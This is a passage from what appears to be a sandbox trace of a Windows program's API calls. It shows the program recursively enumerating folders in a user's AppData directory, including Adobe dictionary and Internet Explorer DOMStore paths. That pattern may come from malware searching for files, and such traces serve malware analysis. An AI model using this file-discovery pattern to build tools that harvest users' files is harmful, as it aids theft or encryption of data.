(pszPath="C:\\Users\\") returned="Users\\" [0115.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.598] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.598] PathFindFileNameW (pszPath="") returned="" [0115.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0115.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba3f0 [0115.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fd68 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.604] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x54) returned 0x3294720 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fe50 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329ff38 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fd68 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a6888 | out: hHeap=0x660000) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.604] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fd68 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0020 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fe50 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329ff38 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3294720 | out: hHeap=0x660000) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.605] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329ff38 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fe50 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a01f0 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a02d8 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fd68 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0020 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.605] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.606] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfc) returned 0x32419d0 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0020 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fd68 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a03c0 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a04a8 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0590 [0115.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0678 [0115.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329ff38 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fe50 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a01f0 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a02d8 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a02d8 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.607] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16c) returned 0x7549e0 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a01f0 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fe50 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329ff38 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0760 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0848 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0930 [0115.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0a18 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0b00 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0be8 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0020 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fd68 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a03c0 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a04a8 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0590 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fc80 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a02d8 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a02d8 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.608] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fc80 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.608] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.608] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0678 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.608] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0115.609] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0115.609] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0115.609] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0115.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.610] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.610] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.610] PathFindFileNameW (pszPath="") returned="" [0115.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.610] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) 